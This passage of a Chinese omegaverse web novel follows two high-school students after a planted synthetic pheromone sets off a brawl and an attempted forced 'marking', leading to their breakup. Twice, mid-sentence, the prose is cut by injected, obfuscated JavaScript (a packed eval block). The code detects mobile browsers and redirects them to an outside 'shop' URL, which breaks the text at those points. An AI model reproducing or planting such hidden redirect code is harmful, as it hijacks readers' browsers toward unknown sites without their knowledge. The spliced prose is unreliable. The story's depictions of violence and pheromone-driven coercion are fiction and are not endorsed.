他的话令成铭暴躁不已,但他抱着黎晓,根本就没心情跟人打架。他只瞪着他,吼,“滚开!” 围观的人群纷纷散开了,几乎所有人都遵循着本能躲得远远的。 就只有四五个男生依旧站在原地,眼睛暗沉沉的望着成铭和他怀里的黎晓。有两个人捏了捏拳头,“确实早就看你不爽了。不过就是打架比别人多点罢了,真以为别人怕了你?” 成铭心里有一把暗火在烧,他潜意识里其实已经意识到了这种状况意味着什么。 焦躁、愤怒、嫉妒,他压根无法令他的头脑冷静下来思考当前的局面——这一刻他比所有这些向他挑衅的人都更嗜血和好斗,他想凶狠的撕碎这些人的尊严和自信,将他们的头颅踩进烂泥里永远也不许抬起。 可他还是短暂的克制住了。 “让我先送她去医务室。”他克制着心里的嫉妒和暴怒,阴沉沉的说,“你们是要跟我打,又不是要跟她打。” 几个男生明显都犹豫了一下,他们很明显都还存有理智,只是稍有些脆弱。 没有人出声,也没有人动,他们只看着黎晓,像是猎人看着唾手可得的猎物。 但最初的那个男生凶狠的拒绝了,“不行,我要她——你们谁不满意,就来决斗。” 成铭脑子里的火再一次爆开了。 而那个人的话也让这些理智薄弱的雄性们,终于能安心的搁下心中名为“体面”的最后一丝负担。 ——这是一场决斗,怎么可能提前让人把战利品带走? 很好,成铭想,很好——这些丑态百出的低等生物! 他知道已走不了了,便踢开桌椅,把黎晓放到了墙边。 他刚把她放下就有人要冲过来夺取,他拾起手边的椅子挥过去。而后所有人便一起冲上来了。 他凶狠的攻击着一切敢靠近的人。 读高中后他就已经不再打架了——晨星高中确实不愧是名门高中,这里几乎没有欺凌事件,所有人都很友好,默契的靠实力文明的对话。直接的□□对抗,于他而言已是久违。 就算在alpha普遍涌向大城市的时代,遗传规律也依旧是公平的。哪怕在没有成年alpha定居的最偏远的小镇,同龄孩子里alpha的比例也能达到10%。 并且这些孩子往往会表现得比普通孩子更强壮和好斗。从小到大成铭打过无数次架,他的对手不出意外的话,应该普遍都是alpha。而他从来没有打输过一次。 不知不觉,他就已在武力上,站在了所有孩子的顶端。 直到进了晨星高中,他的地位延续下来,甚至都没有挑战者试图动摇他。 他对黎晓说,他好奇过自己的性别——也对,也不对。他确实好奇过,但他从来都没有怀疑过。 他一直理所当然的认为自己是一个alpha。 就算在此刻,看着他凶狠的在六个alpha的围攻下依旧屹立不倒的人,恐怕也毫不怀疑他一定是个alpha。 就只有他自己,在暴怒之下、在激烈的打斗中的头脑的反常冷静中,清醒的意识到了。 ——他不是。 黎晓发作释放出来的荷尔蒙,令全班的alpha都失控了,透过不知被谁关上的临近走廊的玻璃窗子,还可以看到有其他班的人受信息素影响被吸引而来。 但他没有丁点——没有哪怕一丁点儿,受到她的信息素的干扰。 就在昨天,她还以为他们之间的障碍在于他是alpha而她只是beta。 但醒来之后她就会明白,当命运想要向你开玩笑,它从来都不会这么温柔。他们之间真正的障碍在于——她是一个omega,而他却是只一个beta。 4. 命运之日(四) 五 成铭已不记得混乱是何时平息的。 打到最后他头破血流,血流进眼睛里,染红了视野。他分辨不出到底谁才是敌人,于是疯子般无差别的攻击一切想靠近黎晓的人。 连终于赶到现场,想要把黎晓救出去的老师和医生都被他打伤了。 所幸这一年来给他们体检的医生里,有从二军大医学部毕业的实习生,动用了防暴手段,才终于把他和另外六个人制服。 等清醒过来之后,他光着上身坐在急诊室里,头上、身上全都是绷带和纱布。 助理医师把他胳膊上的针管拔下来,问他,“醒了?头晕不晕,能看清东西吗,这是几?” 成铭把医生的手拍开,向四周望去,和他打架的几个男生也在。他们每一个人都茫然若失,身上不再散发出令人烦躁的好斗气息。 他于是便不再理会他们了。 黎晓不在这里。他醒来后最先想确认他的平安,但一旦确认危机结束,他的头脑中便只剩一片空洞,不但没有迫切的、甚至都没有一丁点儿想要见到黎晓的念头。 ……事实上,他什么都没有想。 就只是遵循本能中的空白,毫无意义、毫无动机、也毫无情感的坐在那里。 但人的大脑这种东西啊,在醒着的时候总是要被什么事情所占据着的。如果你不主动去想,那它就会自作主张的去找一些事来想。 记忆中关于黎晓和自己的一切事走马灯一般在他脑海中轮番浮现了。 他一直以为自己打架从来都没有打输了,可是不是这样的,他输过。 那是他们还很小的时候,黎晓一家刚刚搬到他们家隔壁。她抱着比她小不了多少的毛绒猴子躲在大人的身后悄悄的看着他,怯生生的,目光好奇又干净,纯洁得跟金丝雀似的。 成铭看到她的眼睛就觉着烦人,心想她这副模样肯定要被人欺负,到时候可千万别来麻烦他。 ——他们居住的街区早些年还是郊区,无数从周边小镇涌入首府达瓦的年轻人买不起市中心的房子,便在这里定居。他们年龄相近、背景相近,就连组建的家庭的时间也很相近。所以整个街区里到处都是和他们年龄相近的孩子,他们都是新来乍到,没有谁跟谁比较熟,也没有谁比谁资历更老。他们之间还没有确定稳固的秩序、树立足够强大的权威。 所以所有不甘人下的孩子,都在打架。所有不喜欢打架的孩子,都可能被打——直到出现一个强得无可置疑的alpha,让所有人都臣服在他脚下。 成铭是个不喜欢打架的孩子,但同样的他也不想向任何人臣服。这孩子太早熟了,在所有孩子都还被原始野性驱动的年纪,他就已经觉得——这种家家酒游戏太蠢、太低等了,参与进去都会让人感到羞耻。 但这个时候,一个浑身上下都透着“我是omega”气息的小姑娘,成了他的邻居。 成铭敏锐的意识到,这个女孩子是个麻烦。是他平静童年生活的,大麻烦。 他的直觉没有出错。 黎晓很快便被人盯上了,他们逼她跪下给另一个孩子当马。她不肯,他们就推搡她,扯她的头发,把沙子灌进她衣领里,踩她的布娃娃……最初的时候成铭不想管,但这个女孩子明明弱的一比,脾气却犟得飞起,她面红耳赤的跟他们讲道理,始终不肯顺从他们的要求,于是他们的欺负变本加厉,开始打她。 成铭也不记得自己是什么时候冲出去的——大概在她被打得缩在角落里一把鼻涕一把泪,可旁人问她跪不跪,她也还是哆哆嗦嗦的说“不”,说“你们这样是不对”的时,他就忍不住了吧。他想怎么可以有人这么蠢、这么无辜到可厌、可恨的地步。 谁要跟她讲道理啊! 但是他没有打赢,他被人骑着脖子压在地上,脸贴着烂泥,看她一边哭着一边被人欺负。 可她就只会哭,只会说“你们怎么可以这么做”。 他于是再也忍不了她的愚蠢,扯着脖子怒骂,“哭个屁啊废物!除了哭你就不会干别的了?!” 她鼻青脸肿的回过头,怔愣愣的看着他,而后醒悟了一般爬起来,冲上去把领头的孩子撞倒了。 她打人跟挠痒痒似的,就连咬住别人的胳膊,也能被人一甩就飞出去。但她一遍一遍的爬起来冲上去,像一只甩不脱的苍蝇,直到再也爬不起来。自始至终,连口头上的认输,她都没有过。 在最初的时候,没有任何人把他们当成alpha。 他是一个典型的beta,平庸、远离争斗中心、不爱招惹是非。她则是一个不太典型的omega,弱,弱得除了omega这个词外不做他想,却有着胜过一切beta甚至alpha的,可断不可弯的顽固意志。 到底是从什么时候起,他的自我认知改变了? 大概就是从他冲出去的那一刻吧。 因为就在那一刻,这个努力把自己隐藏在平庸中的孩子否决了自己的命运,选择成为族群的反叛者,成为omega的庇护者。从那一刻起他就已注定将饱受镇压,和所有意图统治他所在的世界的alpha们争斗不止。他必须是一个能同所有alpha对抗的“alpha”。 那是一条注定惨烈和崎岖的道路。 如果他庇护的那个omega就只是omega该多好,那她就只是一个被庇护者罢了,他无需重新学习如何去平等的看待她——甚至无需去看待她,因为对他这个自我认知强烈得有些目中无人的少年而言,旁人的认可和陪伴都是多余的。她就只会是一根导|火|索而已,是他人生的一个注脚、一个契机、一个符号,没有色彩没有性格。无需关注,也就不会招人心乱。 但她是一个多么、多么烦人的小姑娘啊。 她的人生仿佛除了引起他的关注就没有旁的使命了一般,她在一切场合挑战他、被打败,然后死不认输的再度冲上来。 哪怕散打对练的时候,她总是被他一拳撂倒,倒在地上半天也爬不起来,她也还是会再度找他对练。 哪怕卸掉护甲后她的胳膊青青紫紫的没一块好皮,她抱着胳膊疼得一个人偷偷躲起来哭,但带上护甲后她也还是笔直的、毫不退缩的冲上来了。 过程中他击倒了一波又一波的alpha,成为毫无争议的alpha里的“alpha”,但他始终也没有真正打倒过这个omega。 直到终于有一天,她成长得能和他比肩而立了。 他早就忘掉了她是一个omega,就像在命运之日他选择成为一名alpha一样。她也在这漫长的追逐中,拒绝了omega的命运。 他没有办法不看到她,不认同她,不被她牵住目光,不在情窦初开的那一刻,水到渠成的陷入对她的爱慕。 而后十七岁的钟声敲响了,命运之日褪去了它的光环,让他们重新暴露在真实的性别里。 他们都已经足够强大,强大到可以嘲讽一切“真实”。 ……却没有强大到可以抗衡信息素。 Omega,世界上为什么会有omega这一种性别?既然注定会被alpha标记和占有,既然注定只能在alpha的臂弯里寻找到安宁和满足,为什么还要作为独立的个体出生,为什么还要让他遇到? 为什么还要让他喜欢上? 无法忍受她看着他时空洞无物的目光。 无法忍受她被别人的信息素击溃。 无法忍受她被任何alpha碰触和标记。 学校里的体检已经结束了,他们几个人肯定都赶不上了。但暴力事件之后,第二性别检测刻不容缓,很快便有护士来领他们去检查。做完所有项目之后,成铭安静的坐在椅子上,等医生为他填写检测结果。 “检测报告单会在三天内寄到你家里,注意查收。” 成铭问,“不能立刻告诉我结果吗?” “血样还在排队等待检测,结果还没出来。”医生停下来看了他一眼,笑道,“你一个人都能打六个,还对自己的性别没信心?” 成铭说,“……我对omega的信息素没有反应。” 医生有些惊讶,扫了一眼表格,又确认了一遍,才说,“不是所有alpha都在16岁就能对信息素产生反应,也有18岁甚至更晚才有反应的。” “概率有多大?” “……我确实在文献上读到过。” “哦。” 也许因为他整个人透出的消沉气息太滞重了,当他起身准备离开,医生忽然又说,“你的所有指标,包括导力回路的数量和质量,就算在alpha里也是顶尖水平。如果你真的不是个alpha……那等你竞选总理大臣时,记得给我打电话,我一定发动全家给你站台拉票。” 成铭心想那又怎么样啊?所有人都在等待第一个beta总理大臣的诞生,所有人都在讨论是否应该废除现有皇位继承法,允许beta和alpha拥有一样的顺位。但这些都是只要争取就一定顺利成章会有人做到的事,它们从来都不缺乏支持者。 但从来、从来没有一个人想过,当一个beta爱上一个omega,他所面临的究竟是什么。恐怕就连《平权法案》,都不会站在他这一边——就连omega自己的本能,都会和他作对。 六 满眼满耳的白噪音终于消失了。 黎晓躺在病房的床上,空洞洞的视野中映入了白色天花板,随后是悬在高处的药剂袋和蜿蜒而下的输液管。最后她低下头,看到了胳膊上的针头和纱布。 医生和她的父母都还没意识到她醒了,依旧在说着她的病情。 “……pha信息素的衍生化合物……人工合成……管制物品……建议报警……”因为她无法集中起注意力,一开始的时候他们的声音断断续续的,但渐渐就听着流畅起来,“……alpha失控,想要强制标记omega时才会分泌,甚至会对敏感一些的beta造成干扰,对omega更是有极强的催发和震慑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726835|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效果。这次发作恐怕会给她造成很严重的身心伤害,建议一年内,你们定期带她来复查。如果条件允许,最好也找专业的心理咨询师看一下……” 黎晓想,原来是这样啊。 很奇异的,她没有任何受到“严重伤害”的感觉,事实上她连情绪都是极淡薄的。 在她的感觉里,这次发作就和发了一次烧没有太大的区别——毕竟大部分时间,她都意识昏迷着。 就只是时不时响在脑中的白噪音,稍稍有些令她集中不起精神。 她于是闭目养神。 送走了医生,她听到了妈妈的啜泣。她上前给她盖了盖被子,一边落泪一边爱抚着她的头发。 她的哭声和试图安抚她的动作,令黎晓稍稍有些心烦。 于是她说,“别这样,我在想事情呢妈。医生不是让你们报警吗,快去吧,去晚了证据都没了。” 她爸爸便说,“已经报警了,你别担心这些事。” 黎晓说,“哦。”又说,“那你们能不能让我稍微安静些?我真的在想事情。” 她真的在想事情。 她在想那只水晶瓶,里面装的必然就是医生说的“信息素衍生物”。她在想那个白噪音一样的人究竟是谁,这样等警察来做笔录的时候,她还能提供一些有效线索。 ——她没有意识到,警察其实可以直接从现场把证物排查出来。有被管制的危险品存在的场合,未成年人的隐私权也要往后排。他们肯定得排查出来。 也或者她其实意识到了,但故意忽略了,因为她的大脑急需被大量繁复的思考所占据,以免她回想起一些她正在逃避的事。 她想,她看到了那个人,她只是分辨不出来罢了。那些人依旧停留在她的表层记忆中,但因为被她的大脑当成了白噪音,所以细节里的信息量正在飞速的丢失。以至于她能想起来的就只有一个又一个毫无特征的噪点,和他们的运动轨迹。 好在现在她有大把的时间。好在她是个非常善于分析和归纳的学霸。 她在脑海中把每一个噪点都标上记号,仔细分辨和梳理着他们每一个人的举动。而后一个一个的排除。 她想,成铭的后排坐着的毫无疑问是凌河,但在晨读结束的时候,他离开了座位,和C3、D2以及未知编号的人遇到过。未知编号的人出现时正从E3往公共书柜走,他的身边都有……他的编号应该是…… 最后,她把那一幕上出现的所有人在此之前的行动轨迹都梳理出来。 记忆中的信息不足以让她把所有人都和真人一一对应出来,但所幸,足够她排除所有对应不起来的人。 最后剩下的人就只有一个,廉易齐。 过了一会儿她才想起来——清晨她走进教室时,看到廉易齐在往地上泼水,空气里浮动着异样的芳香。恐怕那桶水里就溶了信息素,信息素易溶于水。但随着水的蒸发,信息素会逐渐扩散到空气中。所以直到晨读后她开始才发作。 廉易齐的目标应该是凌河,所以他故意往凌河身上和周围泼水。但是,凌河没有受到影响。 晨读结束的时候,他见凌河没有发作的迹象,以为剂量不够,于是再一次往凌河周围洒溶剂。 …… 这样啊,黎晓想,原来是这样啊。 没什么可耻的,黎晓想。就算她不是一个beta,而是一个omega,也什么都不会改变。 因为成铭说的对啊,她从出生起就是了,又不是直到今天才是。 成铭说,他不希望出现一个omega打扰他的人生,那只是因为他以为她是beta而不是omega。如果他知道她是一个omega,应该就不会这么说了。因为他喜欢她啊,他从一开始就知道她是一个什么样的人了。是beta还是omega,根本就不会影响她的本质。 她以后一定会按时吃药,严密的管理好自己的生理周期……一定不会再当着成铭的面发作了。 毕竟omega发作起来,真的是很丑态百出啊。 不过,她也绝对不会让成铭标记她的。听说被标记后omega会变得生理性温顺和黏人,如果真这样,不光成铭受不了,连她自己也会觉得恐怖。 她不停的、琐碎的思考着,直到困倦得再也思考不动,沉沉的昏睡过去。 梦中依旧是白天时所看到的景象。 白噪音一样的成铭守在她的面前,六个令她厌恶和畏惧,却本能的看得、记得清清楚楚的人凶狠的袭来。 她茫然、失智的发作着,心中有一个被囚禁在透明牢笼中的自己。她在拼命的告诉她,看清楚他啊,看清楚他。就算忘了所有一切,也一定要看清楚他、认出他、记住他。他才是你真正喜欢的人。 于是在梦的最后,她终于从那一片模糊不清的白噪音中,看清楚了他的模样。 七 成铭拆开信封。 检测报告单上清清楚楚、毫无争议的写着,第二性别:Beta 5. 命运之日(五) 八 黎晓重新回学校上课了。 就像是什么都没有发生过一样,所有人都默契的不再提起当天的事。 就连携带危险管制品的廉易齐,在被隔离调查了几天后,不久也回到学校正常上课了。 黎晓没有感受到任何歧视——事实上除了成铭之外所有同学都躲着她,也许他们偶尔会在私密的场合议论她,但谁都没有把这些话传到黎晓的耳中。 她依旧是二年A班的班长,没有任何人露出该换掉她的念头。反倒是她的副班长——也是那天失控最严重的alpha夏懋退出了班委。但很快成铭就主动替补进来。 一切都看似很平常,很顺利。 但黎晓知道,确实有什么东西变了。 清晨上学再也不必她去叫醒成铭,成铭会主动等在她楼下,放学时他也一定会等到她忙完所有事后一起离开。 但他在她面前变得沉默寡言,经常一路上都不会和她说一句话。 在学校里,他也更懒于和所有人交流。总是阴沉沉的一个人待着,但如果有谁接近黎晓,他立刻就会变得敏感躁动起来。 有时他甚至会莫名其妙的发起脾气,就像个最标准的躁动期alpha,对同类充满了不加节制的攻击欲。开学还不到一个月,他已经和许多人起过冲突了。 他心里像是有一只野兽,正以他的燥乱和愤怒为食,长成难以控制的庞然大物,一步步推着他走向狂乱和失控。 无法排解、没有出路——有时他们在一起的时候,黎晓甚至会有这么一种错觉。而那感觉不是从她身上,反而是从成铭身上散发出来的。 极偶尔的时候,黎晓会想——成铭被困住了,被某种她不知道……也或许知道的东西,困住了。 廉易齐回学校不久,这次事件就结案了。 学校给出的说法是,极|端的反平权主义者趁学校集体体检混入校内,在二年A班投放了仿信息素类化合物,造成了一定程度的混乱。嫌犯已经被抓住,学校也在校内进行了彻底的化学排查,请广大师生保持警惕,但也不必过度惊慌。 ——警方并没有对廉易齐提出指控。 学校给他记过和留校查看处分,理由是他违反校规,私自收纳危险管制品。但念其并无主观故意,并且是初犯,暂保留学籍。 因为《未成年人保护法》,甚至在处分公告中,都没有提及他的具体班级和姓名。 黎晓也不知道自己是什么感受——她的感情功能似乎也在这次意外中受到损伤,最近她始终无法对任何事感到鲜明的喜怒。 不管对他人还是对自己,她都像一个冷漠的旁观者。 校内公告发出的那天下午,有人来告诉黎晓——班主任要找她谈话。 谈话在十分钟后,但黎晓恰好空闲无事,便提前来到访谈室。 访谈室的门没有关紧,黎晓猜测班主任应该还没有来,便自行推门先进去了。 而后她便听到了班主任的声音,“……同学之间发生了这种事,你肯定心怀愧疚,但也差不多该走出来了。别忘了,你也是个受害者。你离她最近,比别人接受信息素刺激的时间都要长。说到底,这是alpha正常的生理现象,有时候不是你想控制就能控制住的。打起精神来,去向黎晓道个歉,让一切都过去吧。你一直都是个品学兼优的好学生,如果因为这种事,就此消沉下去,就太可惜了……” 明明就很难对什么事感受到激烈的喜怒……可是黎晓的手还是忍不住剧烈的抖起来,脑子里嗡嗡乱响。她在为这一席话感到剧烈的愤怒,但是她居然无法从中找出任何逻辑和伦理上的漏洞。她只是情绪化的在心底嘶喊,如果他真觉得自己是个受害者,那请一定不要来道歉!就让这件事悄无声息的过去吧,她很好,她早就已经不在乎了,她才不要什么道歉。 这时夏懋从里屋走了出来。 看到黎晓就站在外面的时候,他下意识愣了一下——似乎要像往常一样避开她。但随即他的脚步停住了,挺了挺脊背,他像是想和黎晓说什么。黎晓僵硬的站在哪里,攥紧了拳头,生冷的戒备着他。 所谓的“心理阴影”确实存在。时至今日,面对夏懋她还是会下意识的感到颤抖。 但她知道这不是正常的生理反应——那天她毫无防备的吸入了超过正常浓度几十倍的摄情信息素,她的身体和意识被彻底的压制住了,偏偏感知还清晰的存在着。这个想要强制标记她的alpha给她带来的无助和绝望,于是被无节制的放大了。 现实中,omega对alpha的信息素并非完全没有反抗能力——至少不会像她那天一样,连抗拒的意志都被从生理上抹除,反之亦然——黎晓提醒着自己。 夏懋最终没有说出道歉的话,只指了指屋里,“……老师在里面。” 班主任正站在窗边吸烟,听到声音赶紧把烟掐灭。当然也立刻就明白——她对夏懋说的话,可能被黎晓听到了。 夏懋仔细的帮她们关上了房门。 班主任这才指了指椅子,“坐。” 黎晓沉默的在对面坐下。 班主任看了她一会儿,大概看出了她的抗拒,却并没有说什么。 她从一旁桌子上拿出一个档案夹,打开,把里面的东西一样一样的摆到黎晓面前——她的入学申请成绩、她的期末考试的成绩、她的军训成绩,她为班级申办校辩论会的准备的申请材料,然后是运动会的、艺术节的,她当选学生会高一部门主席的通知,她在校际对抗赛拿到的个人准优胜证书、团体优胜证书…… “我大学毕业开始当教师,到现在十八年。”她一边摆一边说,“很多人都觉得omega考不上我们学校,这是个偏见。我们学校每年都有omega入学,平均每年3个,多的时候能到6个。国家禁止公布未成年人的性别,连性别检测结果都是直接寄到你们家里去的。但班主任比较特殊,每年体检我们都会收到一份回执,告诉我们班里谁是omega谁是alpha,提醒我们做好性别引导。” “但其实,这份回执是不必要的。入学——甚至直到高一毕业的时候,还根本看不出区别来的同班同学,在拿到自己的检测报告单后,谁是omega几乎立刻就一目了然了。我当了十五年班主任,每次在拿到回执前都会有一个初步的判断。教过的四十多个omega,一个都没漏下也一个都没多出来,全部判断对了。” “当然,你是个意外。如果不是那天的突发事件,大概无论如何我都不会想到,你会是一个omega吧。” “omega是一个对当事者而言非常残酷的性别,残酷到能把他们建立了十七年的自我认知,一下子全盘推翻。有时候我会反思,在没有真正树立起omega的性别自信前就讲什么绝对平等,是不是会加倍撕裂他们对社会的期待和对自我的认知。直到你的出现,黎晓。” “我从教十八年,见过四百多个alpha,但和你一样优秀又努力,积极又达观的屈指可数。而他们中所有人都考进了国立大和二军大,有不少人都已经在各行各业崭露头角了。” 而后她把两张志愿调查表放在了最上面,其中一个三个志愿写的都是国立大学,另一个只第一志愿里填了第二军事学院,剩下两栏都空着。 “这种志愿表我不是第一次见了。但我知道你是认真的,并且也相信,你肯定能考上。” “身为你的班主任,那天却没能保护你,让你受到那么大的伤害,我一直很懊悔。”她看着黎晓,说,“但你不能因为这种意外就停下,你得想办法走出来。世界很大,你的可能性更大。等高中毕业之后,今天教室里绝大多数人,恐怕都不会和你生活在同一个圈子里。他们彼此之间也一样。等你到了我这个年纪就知道,今天看来多么天崩地陷的大事,实际上都远没有你想的那么影响深远。世上有留不住的人,但从来没有过不去的事儿。” 黎晓只说,“嗯。” 然后她拿起成铭的志愿表,问,“为什么让我看这个?” 班主任说,“你们两个不是在交往吗?” “嗯。” 班主任过了许久,才说,“我将要说的话,会违反职业守则,但作为你们的班主任,有些事不能不说。” 九 黎晓走在教室前的回廊上,正是社团活动时间,四面都是嘈杂的人声。 可她的脑海中就只回响着班主任之前说的话。 “……成铭是个beta。” “我不是要告诉你beta和omega就一定不会有结果,但成铭显然还没成熟到,能正确的看待和对待这种感情的地步。他的心态已经快要失控了,如果你们继续这样走下去,不管对你还是对成铭,都将产生毁灭性的打击。” “分开吧,给各自一点成长的时间。” 无法排解,没有出路——黎晓想,她的感觉果然没有出错。 那一天被信息素压制的痛苦记忆再度浮现了,直到此刻,它对她的身心造成的伤害才真正清晰起来。 原来所谓的“严重伤害”,是这种感觉。 那是一种绝对的压制,无论怎样的理智和意志都克服不了的,无论怎样的努力都是徒劳的——越是不屈,越是想要反抗,就越是清醒的认识到自己的无能的和无能为力的,无法排遣、没有出路的,绝望。 原来将成铭推向狂乱和失控的,就是这种东西。 原来他燥乱的根源,在于她的性别。 她回到教室里的时候,发现成铭在和夏懋打架。 他困兽般凶狠的目光,他暴虐得完全不知节制的招式告诉她,这不是成铭以往打过的架——他是真的想杀了这个人,他是真的憎恨世上竟然有alpha这种性别。 泪水立刻从她眼中滚落了。 这时廉易齐看着她,似笑非笑的说,“他们在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726836|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为你打架呢,omega。” 黎晓凶狠的,一拳打歪了他的脸颊。 她天性厌恶打斗,但在他们学散打的武馆里,她是唯一一个能和成铭打得平分秋色的人。这也直接导致了所有人对她性别判断的失误。不过现在她倒是明白成铭懒得向她解释的事了——她的力气确实变大了,但这并不是因为她的□□大幅度超出了omega的平均水平,只是因为她的导力回路比大多数人都更早觉醒了。 但是她身体自有的力气也好,是导力强化过的也好,在打人很疼这方面,没有任何区别。 黎晓把廉易齐击倒在地,压在他胸口上,狠狠的又给了他一拳。 她大概打裂他的腮骨了,本应沉闷的□□击打声,居然“砰”的响得很大声。 然后她站起了身。 廉易齐倒在地上,已经彻底失去意识了。 黎晓看到凌河站在那里,便说,“送他去医务室吧。” 教室里所有人都看着她。 就连成铭和夏懋都停下了。 作为他们的“班长大人”“Miss.Right”,除了那次的事件外,黎晓从来都是阻止别人起冲突,告诉别人不要打架要讲道理的那个。 但这一次她把人打晕的凶狠,和打晕后无动于衷的冷静,吓住了所有人。 然后黎晓走到了夏懋的面前,说,“来打一架吧。” 夏懋说,“……我不会跟你动手的。” 但是他失言了,因为黎晓毫不犹豫的就击向了他脖子上的结。 就和omega脖子上有标记区这个命门一样,对所有alpha来说,结都是他们的命门所在——那里是他们分泌信息素的主要腺体,是他们本能会优先保护的部位。 他还手了。然后就在一个回合间,黎晓的拳头便击中了他的左脸。他比廉易齐硬挺些,歪了歪身子居然没倒,然后一本大字典就扇在了他的脸上。他被字典打得有些懵,摔倒在自己椅子上。 他大言不惭“我不会跟你动手”,却忘了在那天翻地覆的一天之前,他一直仰视着黎晓,从来没有任何一件事做得比她强。甚至都忘了,高一军训课上,她和成铭一样一枝独秀,有着能碾压所有同龄人的绝对武力。 “道你妈的歉,早就想揍你了。”她说,“滚吧!” 所有人都说信息素是反抗不了的。Alpha在omega发作时标记他们的冲动被看作本能,被广泛的原谅。 但黎晓不能认可。 古代的精锐部队,75%以上的将军士兵都是alpha,现代军队的的比例应该也不遑多让。几乎自古至今所有战争的胜败,都是alpha决定的。如果omega的信息素真的那么难以抗拒,那么只需往对手营中投放少量的发作中的omega,就能彻底瓦解一支军队的意志。 但是从古至今,从来没听说有哪支军队在阵前争抢omega自取灭亡的案例。瓜分omega一直都是在战后才发生的事。 什么控制不住,什么受害者……就只是局面没有紧迫到瞬息生死的地步,他们无需努力控制自己的本能而已。 过于激烈的情绪,令她有些气喘吁吁。 她发泄够了,长舒了口气,安静的整理好了自己的仪表。 然后回桌子上拎起书包,平静的对成铭说,“我们回家吧。” 拐过街角后,她放下自行车,默不作声的领着成铭去了那天他们互相表白心迹的山上。 下过几场雨,天稍有些凉了。桂花落了满地。 他们翘掉了社团活动时间,提前回家,所以这时天色还很早。 从山坡上向下望去,只见天朗阔高远,整个城市都掩映在色彩斑斓的树海之间。秋天到了,又到了肆意绚烂而后凋谢的季节了。 她说,“成铭,我喜欢你。” 成铭仿佛已料到了什么,只静静的看着她。 她说,“那一次发作只是意外,omega正常发作不是那样的。就算我保护不了自己,至少也能反抗、逃跑、求救。而且我也不会再让自己发作当众发作了。我会好好的吃药,控制住自己的生理周期。”她翻自己的包给他看,“你看我还带了紧急喷雾,就算有意外,也能立刻就压制住。” “但是,这些对你而言,依旧不能让人放心吧……可是,”她停顿了好久,才说,“可是对我来说,这就已经足够了。” 她说,“成铭,我们分手吧。” 成铭怔怔的看了她许久,沉在他眼底深处野兽一样的光渐渐熄灭了,变成一种放弃之后茫然无方向的黯淡。他说,“……好。” 像是有无形的负担从肩头卸下了,在那一天过去之后那么久,他终于抬起手,再一次露出了想要碰触他的意图。 她静静的等着,但他的手在她脸颊旁停留了那么久,最终还是什么也没做,就放下了。 —他和她的“青春期” 完— 6. 天授之人(一) 一 七曜历187年2月,唐历正月十五日,元宵节。 达瓦。 陆清源从市政厅里走出来,沿着挂满灯笼的步行长街,走向停在广场尽头的黑色车辆。 他刚刚过完十八岁生日,身上独属于少年的青涩纤细尚未完全褪去。伊岚公学那身强调稳重感的黑色绣金的制服穿在他的身上,也显出了别样的孤高与禁欲。这少年是如此的醒目,他悄然无声的自欢度节日的人群中穿过,所过之处路人纷纷为他让出道路,目光追向他的身影。 当终于有胆大的少女冲上前向他搭讪时,他轻轻压低了帽檐。礼貌的伸手扶住了她,温和的回她一个颔首礼,而后便毫无耽搁的离开了。 搭讪的少女捧着脸颊望着他的背影,她的伙伴们蜂拥而上,向她询问他的样貌。少女这才记起,他抬手时挡住了自己的眼眸,他们甚至都没有目光交汇。但她依旧记得他唇边温和的微笑,他完美的下颌线条和他被领巾遮住的脖颈——那已是她所见过的最优雅英俊的少年。 陆清源终于来到车辆前,搭档安德烈摘掉墨镜,朝他吹了声口哨,调侃道,“真是引人瞩目啊,紫瞳的alpha。” 陆清源垂着眼眸,没有理会他。他打开车门坐进副驾驶座,对安德烈说,“护城水晶运行正常。去洛珈山吧。” 安德烈没正形的比了个军礼,笑道,“领命,‘长官大人’。” 从市政厅去洛珈山,直线距离七公里,实际路程二十五公里。 嘉洛林区就是这么个地方,八山二水,边边角角抠出点还算平缓的谷地来,就建成了首府达瓦城。然而路也是绕了这山绕那山的盘来盘去,生生盘成了迷魂阵。据说连粮食都种在峭壁上。 导力革命之前,这里是名副其实的穷山恶水。一百多年前,帝国在北边扛着大兽潮,在南边还要应对嘉南人一波又一波的侵扰。国力不堪支撑时,内阁甚至曾讨论过是不是干脆放弃嘉洛林区得了。偏偏嘉洛林区有个不合时宜的洛珈少将,认不清自己是流放之身,一次次带着嘉洛林的悍匪弱兵击退嘉南人,一次次准时的在内阁提起相关讨论时往帝都送捷报,才总算把嘉洛林区留在了帝国版图内。 在导力革命之后180多年的今天,嘉洛林区也渐渐繁华起来。但无可争议的,它依旧贫穷弱小,在帝国辽阔的版图中,是毫无存在感的一角。 然而正如帝都令所有alpha趋之若鹜一样,这毫无存在感的一角,却是几乎所有omega的精神家园。 陆清源透过车窗望着外面的市景,灯光映照在他深邃幽远的紫色眼眸里。冬日天黑得早,赶上灯节,达瓦城里早早的便亮起了灯。那灯光如漫天繁星流落人间,沿着山谷的走向凝聚成河,又随着道路渐高而再度散落成星。宛若天空的倒影。 在这座千山之城,纵使是人造的美丽,也是由自然来书写轮廓的。而自然是从来都不在意欣赏者的眼光的,这城市自我又纵情的、摄人心魄的美丽着。 “跟帝都真是截然不同啊……”他喃喃自语着。 “这就是你跑到这个鸟不拉屎的小山村来做毕业巡查的理由?”安德烈扭头问他。 陆清源这才意识到自己居然说出声了。 